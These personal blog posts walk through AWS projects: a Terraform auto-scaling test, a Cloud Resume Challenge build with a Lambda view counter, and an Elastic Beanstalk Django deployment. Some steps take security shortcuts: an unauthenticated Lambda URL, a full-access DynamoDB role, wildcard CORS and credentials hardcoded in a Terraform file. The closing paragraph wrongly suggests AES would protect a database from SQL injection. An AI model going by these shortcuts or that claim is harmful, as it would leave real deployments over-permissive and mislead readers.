Monitoring the CloudWatch Alarms, we see that the CPU usage shoots up right away, triggering the "high_cpu_utilization" alarm because of the script we assign the EC2 instances

And here we see that a second EC2 instance is created by the ASG

Once the stress command is timed-out after 300 seconds, the CPU usage drops down below 20% and triggers the "low_cpu_utilization" alarm

And then the ASG terminates the us-east-1c EC2 instance, leaving only the instance in us-east-1a

And that's it for this project! We were able to successfully use Terraform to create an entire AWS Auto-Scaling Web Server architecture and test it ourselves.

Here is the Github repo if you want to try it out for yourself.

Note One thing I wasn't able to do yet, was ssh into the EC2 instances to manually test them, but I kept getting timed out.This is why I scripted the instances to run "stress" automatically on their creation.

AWS Cloud Resume Challenge

Khang Tran — Mon, 08 Jul 2024 11:44:07 +0000

1. Intro
2. Project Initialization
3. S3
4. CloudFront
5. Route 53
6. View Counter
7. DynamoDB
8. Lambda
9. Javascript
10. CI/CD with Github Actions
11. Infrastructure as Code with Terraform
12. Conclusion
13. Edits

1. Intro

A few days ago, I decided to take on the Cloud Resume Challenge. This is a great way to expose yourself to multiple AWS Services within a fun project. I'll be documenting how I deployed the project and what I learned along the way. If you're deciding to take on the resume challenge, then hopefully you can use this as resource to get started. Now, lets begin.

2. Project Initialization

Setup a project environment and configure a git repo along with it. This will first include a frontend directory with your index.html, script.js, and styles.css.

If you want this done quickly, you could copy and paste your resume into ChatGPT and have it provide you with the 3 files to create a simple static website.

3. S3

Create an AWS account. Navigate to the S3 service and create a bucket. The name you choose for your bucket should be unique to your region. Once created, upload your files to the S3 bucket.

4. CloudFront

S3 will only host your static website over the HTTP protocol. To use HTTPS, you will have to serve your content over CloudFront, a CDN (Content Delivery Network). Not only will this provide secure access to your website, but it will deliver your content with low latency. CloudFront edge locations are global, and will cache your website to serve it fast and reliably from a client's nearest edge location.

Navigate to CloudFront from the AWS console and click "Create Distribution". Pick the origin domain (your S3 bucket). If you enabled Static Website Hosting on the S3 bucket, a button will appear recommending you to use the bucket endpoint, but for our purposes since we want CloudFront direct access to the S3 bucket.

Under "Origin Access Control", check the "Origin Access Control Setting (recommended)". We do this because we only want the bucket accessed by CloudFront and not the public.

Create a new OAC and select it.

Click the button that appears and says "Copy Policy".

In another window, navigate back to your S3 bucket and under the "Permissions" tab paste the policy under the "Bucket Policy" section.

It should look something like this:

{
        "Version": "2008-10-17",
        "Id": "PolicyForCloudFrontPrivateContent",
        "Statement": [
            {
                "Sid": "AllowCloudFrontServicePrincipal",
                "Effect": "Allow",
                "Principal": {
                    "Service": "cloudfront.amazonaws.com"
                },
                "Action": "s3:GetObject",
                "Resource": "arn:aws:s3:::<Your Bucket Name>/*",
                "Condition": {
                    "StringEquals": {
                      "AWS:SourceArn": "arn:aws:cloudfront::<Some Numbers>:distribution/<Your CloudFront Distribution>"
                    }
                }
            }
        ]
      }

In the CloudFront window, finish the configuration by enabling HTTPS under "Viewer Protocol Policy" and finally leave the rest of the options default and create the distribution.

When the distribution is created, make sure the default root object is the index.html file. At this point, you should be able to open the Distribution domain name with your resume website up and running.

IMPORTANT You will now have a CloudFront distribution URL. Since your bucket is not public and in our current configuration, you can only access the html, css, and js files from that CloudFront distribution. Your HTML link and script tags will need to be updated.

For example, my script tag was

<link rel="stylesheet" href="styles.css">

and changed to

<link rel="stylesheet" href="https://d2qo85k2yv6bow.cloudfront.net/styles.css">

Once you update your link and script tags, re-upload your HTML file. You will also have to create an Invalidation Request in your CloudFront distribution so that it updates its own cache. When you create the request, simply input "/*". This makes sure that CloudFront serves the latest version of your files (if you are constantly making changes and want to see them immediately on the website, then you will have to repeatedly make invalidation requests).

5. Route 53

Your next step will be to route your own DNS domain name to the CloudFront distribution. Since I already had a domain name, I only needed to navigate to my hosted zone in Route53 and create an A record, switch on "alias", select the dropdown option "Alias to CloudFront distribution", select my distribution, keep it as a simple routing policy, and save.

Also, within the CloudFront distribution's settings, you have to request and configure an SSL certificate associated with your domain and attach it.

And with that, your website should be up and running!

6. View Counter

To set up a view counter, we will now have to incorporate a DynamoDB and Lambda as well as write some Javascript for our HTML. The idea is when someone views our resume, the Javascript will send a request to the Lambda function URL. Lambda will be some Python code that retrieves and updates data in the DynamoDB table, and returns the data to your Javascript.

7. DynamoDB

Navigate to the DynamoDB service and create a table.

Go to "Actions"" --> "Explore Items" and create an item.

Set the id (partition key) value to 1.

Create a number attribute and label is "views" with a value of 0.

8. Lambda

Next, we will create the Lambda function that can retrieve the data from DynamoDB and update it.

When creating the Lambda function in the AWS console, I chose Python3.12.

Enable function URL and set the AUTH type to None. Doing so allows your Lambda function to be invoked by anyone that obtains the function URL. I chose to set the Lambda function up this way so I can test the functionality of the Lambda function with my project without setting up API Gateway at the moment.

Here is my Lambda function code:

import json
import boto3

dynamodb = boto3.resource("dynamodb")
table = dynamodb.Table("cloud-resume-challenge")

def lambda_handler(event, context):
    try:
        # Get the current view count from DynamoDB
        response = table.get_item(Key={
            "id": "1"
        })
        if 'Item' in response:
            views = int(response["Item"]["views"])
        else:
            views = 0  # Default to 0 if the item doesn't exist

        # Increment the view count
        views += 1

        # Update the view count in DynamoDB
        table.put_item(Item={
            "id": "1",
            "views": views
        })

        # Return the updated view count
        return {
            "statusCode": 200,
            "body": json.dumps({"views": views})
        }

    except Exception as e:
        print(f"Error: {e}")
        return {
            "statusCode": 500,
            "body": json.dumps({"error": str(e)})
        }

Finally, in the "Configuration" tab, we need an execution role that has permission to invoke the DynamoDB table. To do this, you would navigate to IAM and create a new role. This role will need the "AmazonDynamoDBFullAccess" permission. Once created, attach the role to your Lambda function.

9. Javascript

Then, write some code into your script.js file. Something like this:

async function updateCounter() {
  try {
    let response = await fetch("Lambda Function URL");
    let data = await response.json();
    const counter = document.getElementById("view-count");
    counter.innerText = data.views;
  } catch (error) {
    console.error('Error updating counter:', error);
  }
}

updateCounter();

The code sends a request to the Lambda function URL, parses it and sets it to the "data" variable. I have a with id="view-count" and set it to data.views, which is the retrieved view count from the Lambda function URL.

10. CI/CD with Github Actions

We can create a CI/CD pipeline with Github Actions. Doing so will automatically update our S3 bucket files whenever code changes are pushed to Github.

To summarize, you have to create a directory ".github" and within it will be another directory "workflows". Create a YAML file inside.

This is my "frontend-cicd.yaml" file:

on:
  push:
    branches:
    - main

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@master
    - uses: jakejarvis/s3-sync-action@master
      with:
        args: --follow-symlinks --delete
      env:
        AWS_S3_BUCKET: ${{ secrets.AWS_S3_BUCKET }}
        AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
        AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
        AWS_REGION: 'us-east-1' #optional: defaults to us-east-1
        SOURCE_DIR: 'frontend' # optional: defaults to entire repository

Your Github will now have a new action, but you still have to setup your environment variables such as AWS_S3_BUCKET, AWS_ACCESS_KEY_ID, and AWS_SECRET_ACCESS_KEY.

Within your Github repo, you would have to navigate to Settings → Secrets and variables (under the Security Section on the left side of the screen) → Actions

These access keys are associated with your AWS user and will need to be retrieved from the AWS console.

11. Infrastructure as Code with Terraform

So far, we've been clicking around in the AWS console, setting permissions and configurations for multiple AWS services. It can all get confusing and messy very quickly. Terraform allows us to set up our infrastructure in a code based format. This allows us to roll back configurations through versioning, and easily replicate our setup.

This was my first time using Terraform. For now, I just used it to create an API Gateway and re-create my Lambda function. So instead of my Javascript hitting the public function URL of my Lambda Function, I can have it hit my API Gateway, which will invoke my Lambda function. API Gateway has much better security, providing:

Authentication and Authorization through IAM, Cognito, API Keys
Throttling and Rate Limiting
Private Endpoints
Input Validation

After downloading Terraform onto my machine, I created a "terraform" folder in the root directory of my project. Then I created two files:

provider.tf
main.tf

Here is my provider.tf:

terraform {
  required_providers {
    aws = {
      version =">=4.9.0"
      source = "hashicorp/aws"
    }
  }
}
provider "aws" {
  access_key = "*****"
  secret_key = "*****"
  region = "us-east-1"
}

I've made sure to omit this from my Github using a .gitignore file, since it would expose my AWS user's access key and secret key.

This file basically configures the provider which Terraform will use. In our case, it is AWS.

Next the main.tf:

data "archive_file" "zip_the_python_code" {
  type        = "zip"
  source_file = "${path.module}/aws_lambda/func.py"
  output_path = "${path.module}/aws_lambda/func.zip"
}

resource "aws_lambda_function" "myfunc" {
  filename         = data.archive_file.zip_the_python_code.output_path
  source_code_hash = data.archive_file.zip_the_python_code.output_base64sha256
  function_name    = "myfunc"
  role             = "arn:aws:iam::631242286372:role/service-role/cloud-resume-views-role-bnt3oikr"
  handler          = "func.lambda_handler"
  runtime          = "python3.12"
}

resource "aws_lambda_permission" "apigateway" {
  statement_id  = "AllowAPIGatewayInvoke"
  action        = "lambda:InvokeFunction"
  function_name = aws_lambda_function.myfunc.function_name
  principal     = "apigateway.amazonaws.com"
  source_arn    = "arn:aws:execute-api:us-east-1:${data.aws_caller_identity.current.account_id}:${aws_apigatewayv2_api.http_api.id}/*/GET/views"
}

resource "aws_apigatewayv2_api" "http_api" {
  name          = "views-http-api"
  protocol_type = "HTTP"
}

resource "aws_apigatewayv2_integration" "lambda_integration" {
  api_id             = aws_apigatewayv2_api.http_api.id
  integration_type   = "AWS_PROXY"
  integration_uri    = aws_lambda_function.myfunc.invoke_arn
  integration_method = "POST"
  payload_format_version = "1.0" # Explicitly set payload format version
}

resource "aws_apigatewayv2_route" "default_route" {
  api_id    = aws_apigatewayv2_api.http_api.id
  route_key = "GET /views"
  target    = "integrations/${aws_apigatewayv2_integration.lambda_integration.id}"
}

resource "aws_apigatewayv2_stage" "default_stage" {
  api_id      = aws_apigatewayv2_api.http_api.id
  name        = "$default"
  auto_deploy = true
}

output "http_api_url" {
  value = aws_apigatewayv2_stage.default_stage.invoke_url
}

data "aws_caller_identity" "current" {}

The archive_file data source zips the Python code (func.py) into func.zip. The aws_lambda_function resource creates the Lambda function using this zip file. The aws_lambda_permission resource grants API Gateway permission to invoke the Lambda function. The aws_apigatewayv2_api, aws_apigatewayv2_integration, and aws_apigatewayv2_route resources set up an HTTP API Gateway that integrates with the Lambda function, and aws_apigatewayv2_stage deploys this API. The output block provides the API endpoint URL. Additionally, data "aws_caller_identity" "current" retrieves the AWS account details.

Before initializing and applying the terraform code, I created another folder called "aws_lambda" and within it created a file func.py. This is where the Lambda function code from earlier is pasted in.

With that in place, run the commands:

terraform init
terraform plan
terraform apply

After a few moments, my services and settings were configured in AWS.

One thing to note with this project, we can update the code for the frontend, commit and push to Github, invalidate the CloudFront cache, and see the changes applied. However, the Lambda function requires the Terraform commands to be executed for the changes to be applied.

12. Conclusion

I still have some updates to make with Terraform to configure the rest of the services I am utilizing, but I feel confident about what I've been able to build so far. This challenge has significantly deepened my understanding of AWS, providing me with hands-on experience in managing and automating cloud infrastructure. The skills and knowledge I’ve gained will be invaluable as I continue to build scalable, secure, and efficient cloud architectures in my career. I am excited to further refine my setup and explore additional AWS services and Terraform capabilities.

And if you want to checkout my project, click here!

13. Edits

The counter has stopped working and produced this error:

Access to fetch at 'https://g6thr4od50.execute-api.us-east-1.amazonaws.com/views' from origin 'https://andytran.click' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.

My browser is sending a request to the API Gateway, which is invoking my Lambda function, but my Lambda function isn't responding with the necessary CORS headers. The browser saw that the response didn't include the Access-Control-Allow-Origin header and blocked the response, resulting in a CORS error.

So I updated the Lambda function here with this in both return statements:

"headers": {
                "Content-Type": "application/json",
                "Access-Control-Allow-Origin": "*"
            }

So the updated Lambda function looks like:

import json
import boto3

dynamodb = boto3.resource("dynamodb")
table = dynamodb.Table("cloud-resume-challenge")

def lambda_handler(event, context):
    try:
        # Get the current view count from DynamoDB
        response = table.get_item(Key={
            "id": "1"
        })
        if 'Item' in response:
            views = int(response["Item"]["views"])
        else:
            views = 0  # Default to 0 if the item doesn't exist

        # Increment the view count
        views += 1

        # Update the view count in DynamoDB
        table.put_item(Item={
            "id": "1",
            "views": views
        })

        # Return the updated view count with headers
        return {
            "statusCode": 200,
            "headers": {
                "Content-Type": "application/json",
                "Access-Control-Allow-Origin": "*"
            },
            "body": json.dumps({"views": views})
        }

    except Exception as e:
        print(f"Error: {e}")
        return {
            "statusCode": 500,
            "headers": {
                "Content-Type": "application/json",
                "Access-Control-Allow-Origin": "*"
            },
            "body": json.dumps({"error": str(e)})
        }

Add burst/rate limiting to my API Gateway with my main.tf file:

resource "aws_apigatewayv2_stage" "default_stage" {
  api_id      = aws_apigatewayv2_api.http_api.id
  name        = "$default"
  auto_deploy = true

  default_route_settings {
    throttling_burst_limit = 10
    throttling_rate_limit  = 5
  }
}

Deploying a Web-app with Elastic Beanstalk

Khang Tran — Mon, 08 Jul 2024 11:43:45 +0000

So a few months ago I made an E-commerce store as a personal project. I'll be deploying it today (again) with Elastic Beanstalk and documenting the process.

1. Elastic Beanstalk

For my MacOs machine, I have to install Homebrew. Once installed, run commands:

brew update
brew install awsebcli
eb --version

Create a .ebextensions folder in the root directory of the Django application and inside it, a django.config file

option_settings:
 aws:elasticbeanstalk:container:python:
  WSGIPath: <app name>.wsgi:application

For me, the would be replaced with "ecom".

The name it consistent with this line in my settings.py:

WSGI_APPLICATION = "ecom.wsgi.application"

Since my project is in Django, I have to move to my root directory here,

If you're in your virtual environment, deactivate it by running:

deactivate

Enter the project directory:

cd ecom

Then run:

eb init

I already have an Elastic Beanstalk config.yaml file it will only prompt me to setup SSH for my instances, however if I did not already launch it, it would ask which AZ to use, an application name, language, and platform I want to use.

Run

eb create

This will create the Ec2 instances, security groups, CloudWatch logs and alarms, load balancers, an S3 bucket, etc.

I chose an application load balancer, "No" to Spot fleet requests, and chose default options for the rest of the prompts.

After a 5-10 min, the environment is then successfully created.

Running the command

eb open

Opens the project successfully on the web browser.

Now in the settings.py file:

Take the URL and add in this line of code:

CSRF_TRUSTED_ORIGINS = ['<http://EB URL>']

This allows you to make POST requests to the website through HTTP.

When making any changes to the project, save and run:

eb deploy

2. Route 53

Since the site is only using HTTP, I want to use Route53 to buy a domain and and register an SSL certificate. I used the SSL certificate to help create the 2 CNAME records I need to prove I own shoptop.click and www.shoptop.click. Next, I created 2 more A records for shoptop.click and www.shoptop.click, using them as an alias to point to my Elastic Beanstalk environment.

The settings.py file needs to be updated as well to include the new domain name.

CSRF_TRUSTED_ORIGINS = ["https://shoptop.click", "https://www.shoptop.click"]

3. EC2 Load Balancer

Currently, the load balancer is routing traffic from HTTP to the application, but I want to route the HTTP traffic to HTTPS.

So in the EC2 console I found my load balancer and clicked add listener

I then select the HTTPS protocol, which automatically selects port 443.

For "Routing Actions", I chose "forward to target groups" and chose my "awseb-..." target group that was automatically created with Elastic Beanstalk.

Then for the SSL/TLS certificate, I select "From "ACM" and look for the certificate that I created for my domain shoptop.click.

Now add the listener.

Currently, the HTTPS is not reachable, since the security group still needs to be edited. But first, the HTTP listener needs to be edited to route to my new HTTPS listener instead of directly to my application.

All this requires is to edit the listener and edit the "Routing Actions" and choose to redirect to URL. Choose HTTPS and port 443.

4. Security Group

While still in the EC2 console, I edited the security group by clicking "Security Groups" on the left sidebar. I found the "AWSELBLoadBalancerSecurityGroup..." and choose to edit its inbound rules.

Here is the configuration:

Now looking back at the load balancer, there is no longer an error for the HTTPS listener.

Shoptop is now up and running easily with Elastic Beanstalk and securely with HTTPS.

Moving forward, I want to look into securing the database against SQL injections utilizing AES, which might run up costs (this project is costing ~$100/mo already while running on AWS). I already had almost 20 fake users on the site only a day after I launched. Apparently email confirmation isn't enough to stop bots, but I implemented CAPTCHAv2 and haven't had a problem since.